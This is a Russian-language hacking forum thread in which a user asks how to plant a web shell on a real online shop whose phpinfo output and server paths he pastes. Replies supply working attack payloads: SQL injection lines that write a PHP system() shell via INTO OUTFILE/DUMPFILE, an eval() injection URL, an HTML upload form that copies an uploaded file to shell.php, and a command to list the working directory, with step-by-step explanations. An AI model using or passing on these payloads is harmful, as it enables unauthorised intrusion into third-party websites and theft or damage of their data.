SQLi и RCE

Discussion in 'Песочница' started by BabaDook, 28 May 2015.

  1. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,063
    Likes Received:
    1,559
    Reputations:
    40
    Всем приветик.
    Нашёл сайтик там в одной и формы есть уязвимость
    PHP:
    eval()'d code on line 1 
    Как я понимаю можно залит шел. Подскажите пожалуйста как это можно сделать
    phpinfo
    PHP Version 5.3.3-7+squeeze19

    Directive Local Value Master Value
    allow_call_time_pass_reference Off Off
    allow_url_fopen On On
    allow_url_include Off Off
    always_populate_raw_post_data Off Off
    arg_separator.input & &
    arg_separator.output & &
    asp_tags Off Off
    auto_append_file no value no value
    auto_globals_jit On On
    auto_prepend_file no value no value
    browscap no value no value
    default_charset no value no value
    default_mimetype text/html text/html
    define_syslog_variables Off Off
    disable_classes no value no value
    disable_functions no value no value
    display_errors On Off
    display_startup_errors Off Off
    doc_root no value no value
    docref_ext no value no value
    docref_root no value no value
    enable_dl Off Off
    error_append_string no value no value
    error_log no value no value
    error_prepend_string no value no value
    error_reporting 0 22527
    exit_on_timeout Off Off
    expose_php On On
    extension_dir /usr/lib/php5/20090626 /usr/lib/php5/20090626
    file_uploads On On
    highlight.bg #FFFFFF #FFFFFF
    highlight.comment #FF8000 #FF8000
    highlight.default #0000BB #0000BB
    highlight.html #000000 #000000
    highlight.keyword #007700 #007700
    highlight.string #DD0000 #DD0000
    html_errors Off Off
    ignore_repeated_errors Off Off
    ignore_repeated_source Off Off
    ignore_user_abort Off Off
    implicit_flush Off Off
    include_path /var/www/kuzov-mag.ru/data/www/kuzov-mag.ru/netcat/require/lib/ .:/usr/share/php:/usr/share/pear
    log_errors On On
    log_errors_max_len 1024 1024
    magic_quotes_gpc On Off
    magic_quotes_runtime Off Off
    magic_quotes_sybase Off Off
    mail.add_x_header On On
    mail.force_extra_parameters no value no value
    mail.log no value no value
    max_execution_time 1000 600
    max_file_uploads 20 20
    max_input_nesting_level 64 64
    max_input_time 60 60
    max_input_vars 5000 5000
    memory_limit 1048576000 512M
    open_basedir /var/www/kuzov-mag.ru/data:. no value
    output_buffering 4096 4096
    output_handler no value no value
    post_max_size 100M 100M
    precision 14 14
    realpath_cache_size 4096k 4096k
    realpath_cache_ttl 120 120
    register_argc_argv Off Off
    register_globals Off Off
    register_long_arrays Off Off
    report_memleaks On On
    report_zend_debug On On
    request_order GP GP
    safe_mode Off Off
    safe_mode_exec_dir no value no value
    safe_mode_gid Off Off
    safe_mode_include_dir no value no value
    sendmail_from no value no value
    sendmail_path /usr/sbin/sendmail -t -i -f [email protected] /usr/sbin/sendmail -t -i
    serialize_precision 100 100
    short_open_tag On On
    SMTP localhost localhost
    smtp_port 25 25
    sql.safe_mode Off Off
    track_errors Off Off
    unserialize_callback_func no value no value
    upload_max_filesize 100M 100M
    upload_tmp_dir /var/www/kuzov-mag.ru/data/mod-tmp no value
    user_dir no value no value
    user_ini.cache_ttl 300 300
    user_ini.filename .user.ini .user.ini
    variables_order GPCS GPCS
    xmlrpc_error_number 0 0
    xmlrpc_errors Off Off
    y2k_compliance On On
    zend.enable_gc On On

    и ещё, через sql inj заливаю шел, шел заливается, но файл пустой
    использую такую команду
    PHP:
    INTO outfile'путь до папки куда можно залить/123.php' FIELDS TERMINATED BY '<?php system($_GET[cmd]);exit;?>'
    заранее спасибо ))
     
  2. Mister_Bert0ni

    Mister_Bert0ni Reservists Of Antichat

    Joined:
    10 May 2015
    Messages:
    142
    Likes Received:
    190
    Reputations:
    57
    А пробовал так:
    union select null,null,(hex(<?php system($_GET[cmd]);exit;?>)),null,....,null into dumpfile /ful_path/writable_dir/shell.php
    union select null,null,(hex(<?php system($_GET[cmd]);exit;?>)),null,....,null into outfile /ful_path/writable_dir/shell.php
     
  3. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,063
    Likes Received:
    1,559
    Reputations:
    40
    а ты попробуй. У меня только две идеи , конвертировать в АССКи и заливать в временную папку, потом копировать.Больше идей нету (((
     
  4. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    а я бы тоже попробовал, только сайта нет. и кстати, вы уже большие и можете писать в раздел уязвимостей в ветку вопросов
     
    _________________________
    Take_IT likes this.
  5. Take_IT

    Take_IT Banned

    Joined:
    11 Mar 2013
    Messages:
    381
    Likes Received:
    162
    Reputations:
    267
    я бы именно так и порекомендовал делать всем, кто уже имеет 5 репы и собирается создавать новую тему
     
  6. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    с RCE все просто: там фильтровались кавычки, но нам они и не нужны.
    делаем запрос:
    Code:
    http://www.site.ru/search/?action=index&text=$${@eval($_REQUEST[upl])}
    в код страницы вставляем форму для аплоада:
    Code:
    <form action="http://www.site.ru/search/?action=index&text=$${@eval($_REQUEST[upl])}&upl=copy($_FILES[file][tmp_name], $_GET[aa]);&aa=./shell.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file"><input type="submit" value="Загрузить"></form>
    грузим шелл. смотрим текущую папку
    Code:
    http://www.site.ru/search/?action=index&text=$${@system(pwd)}
    все, переходим по ссылке на шелл.

    P. S. при создании темы делайте название более информативным
     
    _________________________
  7. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,063
    Likes Received:
    1,559
    Reputations:
    40
    Спасибо. Да Извиняюсь за нарушение правил. Больше не буду так.
     
  8. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,063
    Likes Received:
    1,559
    Reputations:
    40
    PHP:
    http://www.site.ru/search/?action=index&text=$${@eval($_REQUEST[upl])}
    Я немного не понял , что это даст?
     
  9. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    выполнение через eval() команд из POST и GET параметра upl
     
    _________________________
  10. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,063
    Likes Received:
    1,559
    Reputations:
    40
    Пойду мануалы курить. Ещё раз спасибо.
     
  11. Mister_Bert0ni

    Mister_Bert0ni Reservists Of Antichat

    Joined:
    10 May 2015
    Messages:
    142
    Likes Received:
    190
    Reputations:
    57
    Где можно про RCE в PHP почитать?Можеть есть какие то мануалы?
    Если не трудно - можете хотябы вкратце обьяснить почему такой синтаксис запроса?Где читать?Почему запрос начинается с $$ и скопки фигурные?
    Если не сложно можно в кратце обьяснить что какой фрагмент кода делает?
    Code:
    <form action="http://www.site.ru/search/?action=index&text=$${@eval($_REQUEST[upl])}&upl=copy($_FILES[file][tmp_name],
    Ну здесь понятно -загружаем файл.
    А зачем в запросе
    Code:
    $_GET[aa]);&aa=./shell.php
    Откуда переменная aa берет ./shell.php?Из текущей папки только что загруженный шелл?
    Если мы не пропишем
    Code:
    $_GET[aa]);&aa=./shell.php
    то
    Code:
    http://www.site.ru/search/?action=index&text=$${@system(pwd)}
    выполнится?
     
  12. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    Code:
    <form action="http://www.site.ru/search/?action=index&text=$${@eval($_REQUEST[upl])}&upl=copy($_FILES[file][tmp_name], $_GET[aa]);&aa=./shell.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file"><input type="submit" value="Загрузить"></form>
    это просто форма. мы делаем запрос:
    Code:
    copy($_FILES[file][tmp_name], $_GET[aa]);&aa=./shell.php
    http://php.net/manual/ru/function.copy.php
    в первом параметре file - передается файл из формы, во второй передаем имя загруженного файла через параемтр aa в GET запросе, в данном случае - shell.php

    pwd это системная команда Linux, чтобы узнать в какой мы находимся директории
     
    _________________________
  13. Mister_Bert0ni

    Mister_Bert0ni Reservists Of Antichat

    Joined:
    10 May 2015
    Messages:
    142
    Likes Received:
    190
    Reputations:
    57
    Да с формой из pwd все было понятно кроме того для чего в форму передавали GET_ом shell) Вопрос возник по синтаксису PHP
    Code:
    $${@command()}
    В любом случае спасибо большое.
    И хотел спросить где можно посмотреть различные варианты upload-эров???
     
  14. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    ${@command()} проще же
     
  15. Mister_Bert0ni

    Mister_Bert0ni Reservists Of Antichat

    Joined:
    10 May 2015
    Messages:
    142
    Likes Received:
    190
    Reputations:
    57
    Он во всех ситуация так легко применяется?
     
  16. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    ну да, обращаться к отдельному символу строки всегда легко, даже когда разыменование переменной :)
     
    Mister_Bert0ni likes this.